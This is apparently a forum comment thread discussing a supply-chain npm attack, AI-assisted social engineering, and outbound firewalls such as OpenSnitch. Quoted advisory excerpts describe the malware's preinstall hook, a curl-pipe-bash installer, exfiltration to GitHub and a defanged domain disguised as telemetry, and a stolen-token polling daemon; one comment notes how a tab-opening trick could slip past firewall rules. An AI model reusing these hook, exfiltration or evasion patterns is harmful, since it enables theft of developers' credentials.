But even if the dev community comes up with super hardened security, I fear in at least a year the models will be good enough in social engineering that we are still running a losing game.
Never mind questions of how good the models will/can get. I'm confused why people expect that, in principle, models getting really good at social engineering would have such huge impact. Seems to me like it has diminishing returns and is severely bottlenecked by the fact that the target operates at human speed.
The amount of effort involved in the XZ hack, for example, was immense, and it couldn't have been accelerated because it worked specifically by wearing the existing maintainer down over time. You could generate and send all the necessary nastygrams in seconds and it wouldn't speed up the human consuming them (and in fact, having all of them arrive at once would raise suspicion).
And there is a limit to how persuasive that input can be. Take any of the random nastygrams directed at the XZ maintainer; maybe they could have been made more nasty, more pointed, more aware of the maintainer's personal weaknesses and fears — but would that have actually been overall more effective? I think not, or at most only a tiny bit.
the trouble is, we need protocols that are software determined that force AI interaxtions into limited scope but currently theyre all just bash adjacent and inherit your tools.
In some cases, maybe you need to allow permanently git to open outbound resquests to github.com (or gitlab, etc), but at least in my case, I'm okey allowing these connections manually.
> preinstall script: bun run index.js
> Dual exfiltration: > stolen data is committed as Git objects to public GitHub repositories (api.github.com) > and sent as RSA+AES encrypted HTTPS POSTs to hxxps://t.m-kosche[.]com/api/public/otel/v1/traces (disguised as OpenTelemetry traces)
> The Bun installer command (command -v bun >/dev/null 2>&1 || (curl -fsSL https://bun.sh/install | bash && export PATH=$HOME/.bun/bin:$PATH)) prepends every injected hook to guarantee Bun availability
> A separate gh-token-monitor daemon (decrypted from J7, deployed by class so) installs to ~/.local/bin/gh-token-monitor.sh with its own systemd service and LaunchAgent. It polls stolen GitHub tokens at 60-second intervals with a 24-hour TTL
This attack in particular would have caused OpenSnitch to go crazy, giving you the opportunity to review what's going on.
Yep, exactly. Reject by default, with reasonably judicious always-allow rules.
from one step process, this will become universally usable two step process
Still doesn’t negate the value of OpenSwitch, since the majority of malware won’t do that. But really good to keep in mind.
But for the time being, the common entry vector is clear:
https://github.com/evilsocket/opensnitch/discussions/1119
> 2) trigger a tab open to attacker's website
be sure not to use extra cli parameters like "firefox --new-tab <url>", because if the rule is filtering by process path + cmdline it'll trigger a pop-up to allow the outbound request.
Correct in general that it doesn't protect against stuff like that. But this whitelisting is done per-command (in this case, the whitelisting is scoped to the node executable). I've had no need to allow node access to Git in the first place, so no problem there.
> Unless you have to accept every time an app posts or requests data from known hosts?
OpenSnitch doesn't have access to application-level information, so it has no concept of "post" or "request." It's got DNS names, layer 3 info, layer 4 info, and other such things that are visible to the kernel. Your rules get matched to network traffic based on these various properties.
https://markdownpastebin.com/?id=9c294c75f09349d2977a4ccd250...
(btw that the Titanic sunk is not an excuse not to secure other ships. And it did save a great many other ships to have watertight subdivision.)
So... Although there are exploits escaping containers and VMs and then bad guys doing lateral moves across machines, you still want defense in depth.